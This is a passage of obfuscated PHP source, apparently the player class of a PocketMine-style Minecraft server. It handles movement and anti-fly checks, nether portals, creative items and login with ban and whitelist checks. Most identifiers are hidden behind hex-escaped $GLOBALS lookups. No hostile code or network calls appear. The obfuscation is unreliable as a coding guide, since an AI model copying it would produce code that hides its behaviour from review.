TakeItemEntityPacket();$pk->eid=0;$pk->target=$entity->getId();$this->dataPacket(${${"G\x4c\x4fB\x41\x4cS"}["\x6f\x7a\x7a\x79\x77s\x72s\x73q"]});if(${$rxwekygvyg}){$this->getFloatingInventory()->addItem(clone${${"G\x4c\x4f\x42\x41L\x53"}["f\x6f\x68\x65\x78u\x6e\x6eb\x65"]});}$entity->kill();}}}}}protected function processMovement($tickDiff){$alpwytyymm="\x66\x72\x6f\x6d";$tojphkhx="rever\x74";if(!$this->isAlive()or!$this->spawned or$this->newPosition===null or$this->teleportPosition!==null){$this->setMoving(false);return;}${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6c\x73b\x62\x6em\x79i\x73cw"]="\x72ev\x65\x72\x74";${"\x47\x4cOBALS"}["\x68\x6f\x6d\x73qu"]="\x64\x65\x6c\x74\x61";$rpgogch="d\x69s\x74\x61\x6e\x63\x65\x53\x71\x75ar\x65\x64";$pbeibvvrsum="\x72\x65v\x65\x72\x74";${${"GL\x4f\x42\x41\x4cS"}["b\x6b\x67hb\x71dd\x6a\x75h\x74"]}=$this->newPosition;${$rpgogch}=$newPos->distanceSquared($this);${$tojphkhx}=false;$kufrhrwnyrr="\x64elta";$dpoqegtd="\x74\x6f";if($this->server->checkMovement){${"\x47LO\x42A\x4c\x53"}["\x74x\x65\x78\x63\x65\x7a\x67"]="\x74\x69\x63\x6b\x44\x69\x66\x66";$coixftfsdp="\x64is\x74a\x6ec\x65\x53q\x75\x61\x72\x65\x64";if((${$coixftfsdp}/(${${"\x47L\x4f\x42A\x4cS"}["\x74xex\x63ez\x67"]}**2))>200){${"G\x4c\x4fBA\x4c\x53"}["b\x65g\x75li\x71\x78\x6d\x67\x6c"]="\x72e\x76\x65rt";${${"G\x4c\x4fBA\x4cS"}["\x62\x65guli\x71\x78\x6d\x67\x6c"]}=true;}else{if($this->chunk===null or!$this->chunk->isGenerated()){${${"\x47L\x4f\x42AL\x53"}["z\x62l\x68\x6f\x6f"]}=$this->level->getChunk($newPos->x>>4,$newPos->z>>4,false);if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["z\x62\x6c\x68\x6f\x6f"]}===null or!$chunk->isGenerated()){${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x72\x74\x6bv\x6e\x79\x79\x68\x6b"]}=true;$this->nextChunkOrderRun=0;}else{${"\x47\x4c\x4f\x42\x41\x4c\x53"}["b\x68\x6a\x6b\x66tp\x63lo\x66n"]="\x63h\x75\x6e\x6b";if($this->chunk!==null){$this->chunk->removeEntity($this);}$this->chunk=${${"G\x4c\x4f\x42A\x4c\x53"}["\x62\x68\x6a\x6b\x66\x74\x70c\x6c\x6ff\x6e"]};}}}}else{if($this->chunk===null or!$this->chunk->isGenerated()){${${"G\x4cOB\x41LS"}["z\x62\x6ch\x6fo"]}=$this->level->getChunk($newPos->x>>4,$newPos->z>>4,false);if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7abl\x68\x6f\x6f"]}===null or!$chunk->isGenerated()){$tncfrkbktk="r\x65v\x65\x72\x74";${$tncfrkbktk}=true;$this->nextChunkOrderRun=0;}else{if($this->chunk!==null){$this->chunk->removeEntity($this);}$this->chunk=${${"GL\x4f\x42A\x4c\x53"}["\x7a\x62\x6c\x68\x6f\x6f"]};}}}${"GLOBA\x4cS"}["\x6dwwhq\x6ec\x63\x76u"]="di\x73t\x61\x6ec\x65Squ\x61r\x65\x64";if(!${${"\x47\x4cOB\x41\x4c\x53"}["\x6csbb\x6e\x6d\x79\x69\x73c\x77"]} and${${"GLOB\x41\x4c\x53"}["\x63t\x76\x69\x64hurc"]}!=0){${${"\x47\x4c\x4f\x42A\x4c\x53"}["u\x7ax\x6dx\x79tm"]}=$newPos->x-$this->x;${"\x47\x4c\x4f\x42\x41L\x53"}["fls\x63\x74\x79"]="d\x69f\x66\x58";${${"\x47LO\x42\x41L\x53"}["\x78\x6fj\x61\x63\x76"]}=$newPos->y-$this->y;${"\x47\x4c\x4fBAL\x53"}["\x69\x78\x6cadsf\x70"]="\x64if\x66Y";${"\x47LO\x42\x41\x4cS"}["\x64b\x62zrhy\x6f"]="y\x53";${${"\x47\x4c\x4f\x42\x41LS"}["i\x6fk\x73\x70\x68\x79\x7a"]}=$newPos->z-$this->z;$this->move(${${"GL\x4fB\x41L\x53"}["\x75zx\x6d\x78y\x74m"]},${${"\x47\x4c\x4fB\x41L\x53"}["\x78o\x6a\x61\x63\x76"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69o\x6b\x73\x70\x68\x79z"]});${${"G\x4c\x4fB\x41\x4c\x53"}["\x66\x6c\x73cty"]}=$this->x-$newPos->x;${"GL\x4f\x42\x41\x4c\x53"}["o\x76\x63\x73w\x71\x61\x65\x69\x78"]="\x79\x53";$lecbosd="tick\x44\x69f\x66";${"GLOB\x41L\x53"}["u\x71\x63\x75\x63\x69\x7a\x6dkd\x6b\x70"]="\x64iff\x59";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x6d\x77\x64f\x69\x6b\x78\x63"]}=$this->y-$newPos->y;${"\x47\x4c\x4fB\x41\x4cS"}["\x65j\x7ath\x67\x73\x6a"]="di\x66\x66\x5a";${${"G\x4cO\x42A\x4cS"}["\x65\x6azth\x67\x73\x6a"]}=$this->z-$newPos->z;${"\x47L\x4f\x42A\x4c\x53"}["o\x62e\x6abgi\x73tpj"]="\x64\x69\x66\x66\x5a";${${"G\x4c\x4fB\x41\x4c\x53"}["\x78\x72lyt\x68\x78\x64\x69\x66\x7a"]}=0.5+$this->ySize;if(${${"\x47LOB\x41\x4c\x53"}["\x75\x71c\x75c\x69zm\x6b\x64kp"]}>=-${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6f\x76\x63s\x77\x71ae\x69\x78"]} or${${"\x47LO\x42\x41L\x53"}["q\x6d\x77\x64f\x69k\x78\x63"]}<=${${"GLO\x42AL\x53"}["\x64b\x62\x7a\x72\x68y\x6f"]}){$pjlibro="\x64\x69\x66\x66\x59";${$pjlibro}=0;}${${"\x47\x4cO\x42\x41LS"}["\x62\x77\x61\x71o\x72\x6a\x69h\x67"]}=(${${"G\x4cO\x42\x41LS"}["wpm\x69qy\x77"]}**2+${${"\x47LO\x42AL\x53"}["i\x78l\x61\x64\x73\x66\x70"]}**2+${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x62\x65\x6a\x62\x67is\x74pj"]}**2)/(${$lecbosd}**2);}${$alpwytyymm}=new Location($this->lastX,$this->lastY,$this->lastZ,$this->lastYaw,$this->lastPitch,$this->level);${$dpoqegtd}=$this->getLocation();${$kufrhrwnyrr}=pow($this->lastX-$to->x,2)+pow($this->lastY-$to->y,2)+pow($this->lastZ-$to->z,2);${${"G\x4c\x4fBAL\x53"}["a\x69r\x71tk\x72\x64"]}=abs($this->lastYaw-$to->yaw)+abs($this->lastPitch-$to->pitch);if(!${${"GL\x4f\x42\x41LS"}["\x72t\x6b\x76n\x79\x79hk"]} and(${${"\x47LO\x42A\x4c\x53"}["\x68o\x6d\x73\x71u"]}>(1/16)or${${"G\x4c\x4f\x42\x41L\x53"}["\x61i\x72\x71\x74kr\x64"]}>10)){${${"\x47L\x4f\x42AL\x53"}["\x73\x75\x71l\x67\x6evhs\x65"]}=($this->lastX===null or$this->lastY===null or$this->lastZ===null);$this->lastX=$to->x;$this->lastY=$to->y;$this->lastZ=$to->z;$this->lastYaw=$to->yaw;$this->lastPitch=$to->pitch;if(!${${"\x47LO\x42A\x4cS"}["\x73\x75\x71lg\x6e\x76h\x73e"]}){$llpeqsx="\x65\x76";$sppubkrnkpf="f\x72om";$sudwtkjpb="\x65v";${$llpeqsx}=new PlayerMoveEvent($this,${$sppubkrnkpf},${${"GL\x4f\x42A\x4cS"}["\x6c\x6e\x61\x6at\x6e\x6d"]});$this->setMoving(true);$this->server->getPluginManager()->callEvent(${$sudwtkjpb});if(!(${${"G\x4c\x4fBA\x4cS"}["\x72\x74kvny\x79\x68\x6b"]}=$ev->isCancelled())){if($this->server->netherEnabled){if($this->isInsideOfPortal()){if($this->portalTime==0){$this->portalTime=$this->server->getTick();}}else{$this->portalTime=0;}}if($to->distanceSquared($ev->getTo())>0.01){$this->teleport($ev->getTo());}else{$this->addMovement($this->x,$this->y+$this->getEyeHeight(),$this->z,$this->yaw,$this->pitch,$this->yaw);}if($this->fishingHook instanceof FishingHook){if($this->distance($this->fishingHook)>33 or$this->inventory->getItemInHand()->getId()!==Item::FISHING_ROD){$this->setFishingHook();}}}}if(!$this->isSpectator()){$rqprbchrqmsb="\x74\x69\x63\x6b\x44if\x66";$this->checkNearEntities(${$rqprbchrqmsb});}$this->speed=$from->subtract(${${"\x47\x4cO\x42AL\x53"}["\x6cn\x61\x6a\x74\x6e\x6d"]});}elseif(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x77w\x68\x71\x6ec\x63\x76\x75"]}==0){$this->speed=new Vector3(0,0,0);$this->setMoving(false);}if(${$pbeibvvrsum}&&!$this->isSpectator()){$cfigoqddws="\x66\x72\x6f\x6d";$this->lastX=$from->x;$this->lastY=$from->y;$this->lastZ=$from->z;$this->lastYaw=$from->yaw;$this->lastPitch=$from->pitch;$this->sendPosition(${$cfigoqddws},$from->yaw,$from->pitch,1);$this->forceMovement=new Vector3($from->x,$from->y,$from->z);}else{$this->forceMovement=null;$zibnsqfys="di\x73\x74\x61\x6e\x63\x65\x53q\x75\x61\x72\x65\x64";if(${$zibnsqfys}!=0 and$this->nextChunkOrderRun>20){$this->nextChunkOrderRun=20;}}$this->newPosition=null;}public function addMovement($x,$y,$z,$yaw,$pitch,$headYaw=null){if($this->chunk!==null){$cjgvphbftly="\x68e\x61\x64\x59\x61\x77";${"G\x4cOBA\x4c\x53"}["pt\x61\x6fi\x68"]="x";${"\x47L\x4f\x42\x41\x4cS"}["\x64oqi\x75r\x76\x68\x61p"]="\x7a";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x66\x66y\x68\x6co\x78"]="yaw";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68\x67\x72\x7a\x6a\x66r\x68h\x6ce"]="\x79";$this->level->addPlayerMovement($this->chunk->getX(),$this->chunk->getZ(),$this->id,${${"\x47L\x4f\x42\x41L\x53"}["\x70t\x61\x6f\x69h"]},${${"\x47\x4c\x4f\x42A\x4cS"}["\x68\x67r\x7a\x6a\x66\x72hh\x6ce"]},${${"G\x4cO\x42\x41\x4cS"}["\x64oq\x69\x75r\x76\x68a\x70"]},${${"\x47\x4cO\x42AL\x53"}["f\x70\x6argl\x6f\x76qm"]},${${"\x47LO\x42A\x4c\x53"}["\x77\x76t\x6adky\x6d\x69\x74"]},$this->onGround,${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70x\x69\x77zx\x6e\x78"]}===null?${${"\x47L\x4f\x42\x41\x4c\x53"}["rf\x66\x79\x68\x6co\x78"]}:${$cjgvphbftly});}}public function setMotion(Vector3$mot){$qqlcwlue="\x6d\x6f\x74";if(parent::setMotion(${$qqlcwlue})){if($this->chunk!==null){$jgziwwy="\x70\x6b";${"G\x4c\x4f\x42\x41L\x53"}["c\x69e\x73\x71\x63\x6f\x76i\x73"]="pk";$this->level->addEntityMotion($this->chunk->getX(),$this->chunk->getZ(),$this->getId(),$this->motionX,$this->motionY,$this->motionZ);${${"\x47\x4c\x4f\x42\x41LS"}["\x63\x69\x65\x73\x71c\x6f\x76\x69\x73"]}=new SetEntityMotionPacket();$pk->entities[]=[0,$mot->x,$mot->y,$mot->z];$this->dataPacket(${$jgziwwy});}if($this->motionY>0){$this->startAirTicks=(-(log($this->gravity/($this->gravity+$this->drag*$this->motionY)))/$this->drag)*2+5;}return true;}return false;}protected function updateMovement(){}public$foodTick=0;public$starvationTick=0;public$foodUsageTime=0;protected$moving=false;public function setMoving($moving){$this->moving=${${"\x47L\x4fBALS"}["\x6a\x73\x66e\x75\x78vh"]};}public function isMoving():bool{return$this->moving;}public function sendAttributes(){$dvifrniqi="\x65\x6e\x74\x72ie\x73";$kcffgqlo="\x65\x6et\x72\x69\x65\x73";${$dvifrniqi}=$this->attributeMap->needSend();if(count(${$kcffgqlo})>0){$tvwbpit="pk";${$tvwbpit}=new UpdateAttributesPacket();$pk->entityId=0;$pk->entries=${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x68z\x6c\x65\x79\x69\x78\x73\x66k\x70"]};${"\x47\x4cO\x42A\x4c\x53"}["l\x71\x79c\x77\x75f"]="e\x6e\x74\x72\x79";$this->dataPacket(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x7a\x7a\x79\x77s\x72s\x73\x71"]});foreach(${${"G\x4c\x4fBAL\x53"}["h\x7aley\x69xs\x66\x6b\x70"]} as${${"\x47L\x4f\x42AL\x53"}["l\x71ycw\x75\x66"]}){$entry->markSynchronized();}}}public function onUpdate($currentTick){$wddvqn="t\x69ckD\x69\x66\x66";if(!$this->loggedIn){return false;}${"\x47L\x4f\x42\x41LS"}["rt\x66\x68\x79\x71ko\x70"]="cu\x72\x72e\x6e\x74\x54\x69\x63\x6b";${$wddvqn}=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x79\x6aj\x6d\x67\x68"]}-$this->lastUpdate;if(${${"GL\x4f\x42ALS"}["\x6blp\x6b\x71i\x6a"]}<=0){return true;}$this->messageCounter=2;$this->lastUpdate=${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x74\x66hyq\x6b\x6f\x70"]};$this->sendAttributes();if(!$this->isAlive()and$this->spawned){++$this->deadTicks;if($this->deadTicks>=10){$this->despawnFromAll();}return true;}$this->timings->startTiming();if($this->spawned){if($this->server->netherEnabled){if(($this->isCreative()or$this->isSurvival()and$this->server->getTick()-$this->portalTime>=80)and$this->portalTime>0){if($this->server->netherLevel instanceof Level){if($this->getLevel()!=$this->server->netherLevel){$this->fromPos=$this->getPosition();$this->fromPos->x=((int)$this->fromPos->x)+0.5;$this->fromPos->z=((int)$this->fromPos->z)+0.5;$this->teleport($this->shouldResPos=$this->server->netherLevel->getSafeSpawn());}elseif($this->fromPos instanceof Position){$fcmihamf="j";$rcvxowvvd="\x6a";if(!($this->getLevel()->isChunkLoaded($this->fromPos->x,$this->fromPos->z))){$this->getLevel()->loadChunk($this->fromPos->x,$this->fromPos->z);}${"\x47L\x4f\x42\x41\x4cS"}["dw\x70\x65\x66\x66pj\x72pc"]="\x74\x65\x6d\x70\x6fs";$rqvjkrhuqthm="\x74em\x70\x6fs";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x77\x6dvqyg\x7ad"]}=[1,0,-1,0,0,1,0,-1];${"\x47L\x4f\x42\x41\x4c\x53"}["\x6dn\x63zq\x6dy\x6f\x6c\x61"]="\x74\x65m\x70\x6fs";$fnhthjg="\x74\x65\x6d\x70\x6f\x73";${$rqvjkrhuqthm}=null;for(${$rcvxowvvd}=2;${${"\x47\x4cO\x42\x41LS"}["\x77\x6f\x78\x6b\x67\x76e"]}<5;${$fcmihamf}++){${"\x47\x4c\x4f\x42\x41\x4cS"}["\x65\x75\x71olw\x77\x6ejec"]="\x69";for(${${"\x47L\x4f\x42\x41L\x53"}["\x6f\x69\x6c\x67\x69i\x75"]}=0;${${"G\x4c\x4fBA\x4c\x53"}["eu\x71\x6f\x6cw\x77\x6e\x6ae\x63"]}<4;${${"\x47\x4cO\x42A\x4c\x53"}["\x6f\x69lg\x69\x69u"]}++){${"\x47L\x4fB\x41\x4cS"}["\x64b\x7a\x61\x77\x68\x64"]="\x61\x64\x64";${"\x47\x4cOB\x41\x4c\x53"}["q\x6a\x69\x7aqr\x6b\x70"]="\x6a";$fwvxphmwxp="\x61d\x64";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x70w\x6erw\x6ee\x6d\x6c\x74"]="j";$leycptilakb="i";if($this->fromPos->getLevel()->getBlock($this->temporalVector->fromObjectAdd($this->fromPos,${${"\x47\x4c\x4f\x42A\x4c\x53"}["db\x7aa\x77\x68\x64"]}[${$leycptilakb}]*${${"G\x4c\x4f\x42\x41\x4cS"}["\x6a\x70\x77\x6er\x77n\x65\x6d\x6ct"]},0,${$fwvxphmwxp}[${${"G\x4c\x4f\x42A\x4cS"}["\x6fi\x6cgi\x69\x75"]}+4]*${${"G\x4c\x4fB\x41\x4cS"}["\x71j\x69\x7aqr\x6b\x70"]}))->getId()===Block::AIR){${"\x47L\x4fB\x41\x4cS"}["\x64\x64\x68\x68\x72\x6ev\x71\x63"]="\x69";$ylxsqmwbk="\x61\x64d";if($this->fromPos->getLevel()->getBlock($this->temporalVector->fromObjectAdd($this->fromPos,${$ylxsqmwbk}[${${"G\x4c\x4fB\x41\x4c\x53"}["\x64\x64\x68\x68\x72\x6e\x76q\x63"]}]*${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77\x6f\x78\x6b\x67ve"]},1,${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x73\x77\x6dvq\x79gz\x64"]}[${${"G\x4cOB\x41\x4cS"}["\x6fi\x6cgi\x69u"]}+4]*${${"\x47LOBA\x4c\x53"}["w\x6f\x78\x6bg\x76\x65"]}))->getId()===Block::AIR){${"\x47\x4c\x4fBA\x4c\x53"}["\x76g\x71bd\x67\x6c\x67\x79"]="\x69";$cwartvn="\x6a";$vnbyuvgqeao="\x61\x64d";${${"\x47L\x4fB\x41\x4c\x53"}["\x6e\x72\x6bx\x6a\x74"]}=$this->fromPos->add(${${"G\x4c\x4f\x42A\x4c\x53"}["s\x77m\x76q\x79gz\x64"]}[${${"\x47\x4cO\x42ALS"}["\x76gqb\x64\x67l\x67\x79"]}]*${$cwartvn},0,${$vnbyuvgqeao}[${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["oi\x6c\x67i\x69\x75"]}+4]*${${"\x47\x4c\x4fB\x41LS"}["\x77o\x78k\x67\x76\x65"]});break;}}}if(${${"\x47LO\x42\x41\x4c\x53"}["n\x72\x6b\x78j\x74"]}!=null){break;}}if(${${"\x47L\x4f\x42\x41\x4cS"}["\x6dn\x63\x7aq\x6d\x79ol\x61"]}==null){${"\x47L\x4f\x42\x41\x4cS"}["rf\x6f\x6dx\x72x\x68hi\x74\x72"]="\x74\x65\x6dp\x6f\x73";${${"\x47\x4c\x4f\x42A\x4cS"}["r\x66\x6f\x6dx\x72\x78hh\x69\x74\x72"]}=$this->fromPos->add(mt_rand(-2,2),0,mt_rand(-2,2));}$this->teleport($this->shouldResPos=${$fnhthjg});${${"\x47\x4c\x4fBA\x4c\x53"}["\x73w\x6dvq\x79g\x7a\x64"]}=null;${${"GLO\x42\x41\x4c\x53"}["dw\x70\x65\x66\x66\x70\x6a\x72\x70c"]}=null;$this->fromPos=null;}else{$this->teleport($this->shouldResPos=$this->server->getDefaultLevel()->getSafeSpawn());}$this->portalTime=0;}}}if(!$this->isSleeping()){$this->processMovement(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6b\x6c\x70\x6bq\x69j"]});}$elvrpnccdcj="ti\x63kDi\x66\x66";if(!$this->isSpectator())$this->entityBaseTick(${$elvrpnccdcj});if($this->isOnFire()or$this->lastUpdate%10==0){if($this->isCreative()and!$this->isInsideOfFire()){$this->extinguish();}elseif($this->getLevel()->getWeather()->isRainy()){if($this->getLevel()->canBlockSeeSky($this)){$this->extinguish();}}}if($this->server->antiFly){if(!$this->isSpectator()and$this->speed!==null){if($this->onGround){if($this->inAirTicks!==0){$this->startAirTicks=5;}$this->inAirTicks=0;}else{if(!$this->allowFlight and$this->inAirTicks>10 and!$this->isSleeping()and$this->getDataProperty(self::DATA_NO_AI)!==1){${${"\x47\x4cO\x42A\x4cS"}["\x75pcbe\x6c\x6alen\x68u"]}=(-$this->gravity)/$this->drag-((-$this->gravity)/$this->drag)*exp(-$this->drag*($this->inAirTicks-$this->startAirTicks));${${"\x47\x4c\x4fB\x41\x4c\x53"}["bw\x61qorj\x69\x68\x67"]}=($this->speed->y-${${"GL\x4fBALS"}["\x75\x70\x63b\x65\x6cjl\x65\x6ehu"]})**2;if(!$this->hasEffect(Effect::JUMP)and${${"\x47\x4c\x4f\x42A\x4cS"}["bwaqo\x72\x6a\x69\x68\x67"]}>0.6 and${${"\x47\x4c\x4f\x42A\x4cS"}["u\x70\x63\x62\x65\x6cj\x6c\x65\x6e\x68\x75"]}<$this->speed->y and!$this->server->getAllowFlight()){$this->setMotion($this->temporalVector->setComponents(0,${${"\x47\x4cO\x42\x41LS"}["upc\x62e\x6c\x6a\x6c\x65\x6e\x68\x75"]},0));}}++$this->inAirTicks;}}}if($this->getTransactionQueue()!==null){$this->getTransactionQueue()->execute();}}$this->checkTeleportPosition();$this->timings->stopTiming();return true;}public function checkNetwork(){if(!$this->isOnline()){return;}if($this->nextChunkOrderRun--<=0 or$this->chunk===null){$this->orderChunks();}if(count($this->loadQueue)>0 or!$this->spawned){$this->sendNextChunk();}if(count($this->batchedPackets)>0){$this->server->batchPackets([$this],$this->batchedPackets,false);$this->batchedPackets=[];}}public function canInteract(Vector3$pos,$maxDistance,$maxDiff=0.5){${${"GLOB\x41LS"}["\x77\x73\x77pvg"]}=$this->getPosition()->add(0,$this->getEyeHeight(),0);${"\x47L\x4f\x42\x41LS"}["nrnu\x71p\x68"]="\x64V";${"\x47\x4cO\x42\x41\x4cS"}["\x79y\x78n\x6fn\x79e\x6d"]="d\x6ft1";if($eyePos->distanceSquared(${${"G\x4c\x4f\x42A\x4c\x53"}["w\x78o\x65\x68\x6d\x71\x62\x74\x67"]})>${${"\x47\x4c\x4fBA\x4c\x53"}["qzw\x72\x72k\x63"]}**2){return false;}${${"\x47\x4cOB\x41L\x53"}["n\x72\x6e\x75\x71ph"]}=$this->getDirectionPlane();${${"\x47\x4c\x4fB\x41LS"}["f\x68\x62mvw\x76\x69"]}=$dV->dot(new Vector2($eyePos->x,$eyePos->z));${${"\x47\x4c\x4fBA\x4c\x53"}["y\x79\x78\x6e\x6fny\x65\x6d"]}=$dV->dot(new Vector2($pos->x,$pos->z));${"\x47\x4cO\x42AL\x53"}["t\x77\x79\x66\x77rn\x6a\x73t"]="\x6d\x61\x78D\x69ff";$revhiony="\x64\x6ft";return(${${"GLOBA\x4c\x53"}["\x76\x63\x6ai\x73e\x62"]}-${$revhiony})>=-${${"\x47\x4c\x4f\x42AL\x53"}["t\x77y\x66\x77\x72\x6ej\x73\x74"]};}public function onPlayerPreLogin(){${"\x47\x4cO\x42\x41L\x53"}["\x6eyi\x6a\x77\x6e\x63\x77\x62\x71"]="\x70k";${${"\x47L\x4f\x42\x41LS"}["\x6fzz\x79wsr\x73\x73q"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_SUCCESS;$this->dataPacket(${${"\x47L\x4f\x42A\x4cS"}["\x6ey\x69\x6a\x77ncw\x62\x71"]});$this->processLogin();}public function clearCreativeItems(){$this->personalCreativeItems=[];}public function getCreativeItems():array{return$this->personalCreativeItems;}public function addCreativeItem(Item$item){$this->personalCreativeItems[]=Item::get($item->getId(),$item->getDamage());}public function removeCreativeItem(Item$item){${"GL\x4f\x42\x41\x4c\x53"}["auu\x75gqx"]="\x69\x6e\x64\x65x";$vmwtxfwfapg="i\x74\x65\x6d";$pnpfukgavj="i\x6ed\x65\x78";${${"G\x4c\x4f\x42\x41\x4cS"}["auu\x75g\x71x"]}=$this->getCreativeItemIndex(${$vmwtxfwfapg});if(${$pnpfukgavj}!==-1){unset($this->personalCreativeItems[${${"G\x4cO\x42A\x4cS"}["\x75\x73\x70\x71\x78\x74\x6do\x72\x73"]}]);}}public function getCreativeItemIndex(Item$item):int{foreach($this->personalCreativeItems as${${"G\x4cO\x42\x41\x4cS"}["o\x69\x6c\x67iiu"]}=>${${"\x47\x4c\x4f\x42\x41\x4cS"}["v\x6aq\x71\x63p\x62\x63\x68"]}){${"GL\x4fB\x41\x4c\x53"}["\x6eoc\x6f\x6c\x67p\x78q\x74\x69\x6c"]="d";if($item->equals(${${"\x47LO\x42\x41\x4c\x53"}["\x6e\x6fc\x6f\x6c\x67\x70\x78\x71\x74il"]},!$item->isTool())){return${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6fi\x6c\x67\x69\x69u"]};}}return-1;}protected function processLogin(){$cklvuzapmeo="p\x6b";$kolbtfwzgb="\x6e\x62t";${"G\x4c\x4f\x42\x41LS"}["h\x69\x79\x64\x62\x6d\x78f\x71"]="\x70";$toxzikphrxm="\x6e\x62t";$gumeowec="n\x62t";if(!$this->server->isWhitelisted(strtolower($this->getName()))){$this->close($this->getLeaveMessage(),"Ser\x76\x65\x72\x20\x69s w\x68\x69te-li\x73\x74e\x64");return;}elseif($this->server->getNameBans()->isBanned(strtolower($this->getName()))or$this->server->getIPBans()->isBanned($this->getAddress())or$this->server->getCIDBans()->isBanned($this->randomClientId)){$this->close($this->getLeaveMessage(),TextFormat::RED."\x59\x6f\x75\x20a\x72\x65\x20ba\x6en\x65\x64");return;}${"\x47\x4cO\x42\x41L\x53"}["\x6f\x69\x6dmm\x70\x6c\x67\x78cy\x66"]="p\x6b";if($this->hasPermission(Server::BROADCAST_CHANNEL_USERS)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_USERS,$this);}if($this->hasPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);}foreach($this->server->getOnlinePlayers()as${${"\x47\x4c\x4f\x42A\x4cS"}["\x68\x69\x79\x64\x62m\x78\x66\x71"]}){${"G\x4c\x4f\x42\x41LS"}["\x6c\x77\x77p\x6e\x6ex"]="\x70";if(${${"GLO\x42\x41L\x53"}["\x6c\x77\x77p\x6e\x6e\x78"]}!==$this and strtolower($p->getName())===strtolower($this->getName())){if($p->kick("\x6c\x6f\x67ged \x69\x6e\x20\x66r\x6fm an\x6f\x74\x68\x65r\x20loc\x61\x74\x69\x6fn")===false){$this->close($this->getLeaveMessage(),"Log\x67\x65\x64\x20i\x6e \x66rom\x20\x61\x6eot\x68e\x72 \x6co\x63a\x74i\x6f\x6e");return;}}elseif($p->loggedIn and$this->getUniqueId()->equals($p->getUniqueId())){if($p->kick("logged\x20\x69\x6e\x20\x66\x72om\x20\x61\x6e\x6fthe\x72 loc\x61\x74\x69on")===false){$this->close($this->getLeaveMessage(),"L\x6f\x67ged \x69n\x20f\x72\x6f\x6d \x61\x6e\x6fther \x6c\x6fc\x61t\x69\x6fn");return;}}}$hlgvun="nbt";$this->setNameTag($this->getDisplayName());${"G\x4cO\x42AL\x53"}["s\x65\x79u\x63\x6d\x6b\x78\x72\x62"]="p\x6b";${"G\x4c\x4fB\x41\x4c\x53"}["y\x65\x6fi\x62u\x63\x73"]="nb\x74";${$toxzikphrxm}=$this->server->getOfflinePlayerData($this->username);$this->playedBefore=(${${"\x47\x4cO\x42A\x4c\x53"}["\x79eo\x69\x62u\x63\x73"]}["\x6ca\x73\x74Play\x65\x64"]-${${"G\x4cO\x42\x41\x4cS"}["\x73\x6ebhmg\x79\x70\x73\x71"]}["\x66i\x72\x73t\x50\x6c\x61\x79ed"])>1;if(!isset($nbt->NameTag)){$nbt->NameTag=new StringTag("NameTag",$this->username);}else{$rpjswwjl="\x6ebt";${$rpjswwjl}["\x4ea\x6d\x65\x54\x61\x67"]=$this->username;}if(!isset($nbt->Hunger)or!isset($nbt->Health)or!isset($nbt->MaxHealth)){$nbt->Hunger=new ShortTag("\x48u\x6e\x67\x65r",20);$nbt->Health=new ShortTag("\x48\x65al\x74h",20);$nbt->MaxHealth=new ShortTag("\x4d\x61x\x48\x65\x61\x6cth",20);}${"\x47\x4c\x4fB\x41\x4cS"}["o\x67rb\x6b\x73\x78\x71m\x67"]="\x73p\x61\x77\x6e\x50\x6f\x73i\x74\x69\x6f\x6e";$this->food=${${"\x47L\x4f\x42\x41\x4c\x53"}["\x73n\x62h\x6dg\x79\x70\x73\x71"]}["\x48\x75nge\x72"];$this->setMaxHealth(${$gumeowec}["\x4d\x61x\x48\x65\x61lt\x68"]);Entity::setHealth((${${"G\x4c\x4f\x42\x41\x4c\x53"}["s\x6e\x62\x68\x6d\x67y\x70s\x71"]}["He\x61l\x74\x68"]<=0)?20:${${"\x47\x4c\x4f\x42AL\x53"}["\x73\x6eb\x68mg\x79\x70\x73q"]}["\x48\x65\x61\x6cth"]);${"GLO\x42AL\x53"}["\x77\x67\x78\x65t\x6b\x6d\x6b"]="\x70k";$this->gamemode=${$kolbtfwzgb}["p\x6ca\x79er\x47\x61\x6deT\x79pe"]&0x03;if($this->server->getForceGamemode()){$this->gamemode=$this->server->getGamemode();$nbt->playerGameType=new IntTag("p\x6c\x61\x79e\x72\x47am\x65\x54ype",$this->gamemode);}$this->allowFlight=$this->isCreative();$kmbqnxvh="\x70\x6b";if((${${"\x47\x4c\x4fB\x41L\x53"}["\x6dq\x67\x70\x71\x66fs\x73"]}=$this->server->getLevelByName(${$hlgvun}["\x4c\x65\x76\x65l"]))===null){$this->setLevel($this->server->getDefaultLevel());${"\x47L\x4f\x42\x41\x4c\x53"}["\x70qbe\x64\x71\x69gw"]="\x6eb\x74";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x73n\x62h\x6dgyps\x71"]}["\x4c\x65v\x65l"]=$this->level->getName();${${"\x47\x4cOBA\x4c\x53"}["\x70\x71\x62\x65d\x71\x69\x67\x77"]}["\x50o\x73"][0]=$this->level->getSpawnLocation()->x;${${"\x47\x4c\x4fB\x41L\x53"}["s\x6e\x62\x68\x6dgy\x70\x73\x71"]}["\x50\x6f\x73"][1]=$this->level->getSpawnLocation()->y;${${"G\x4cO\x42\x41L\x53"}["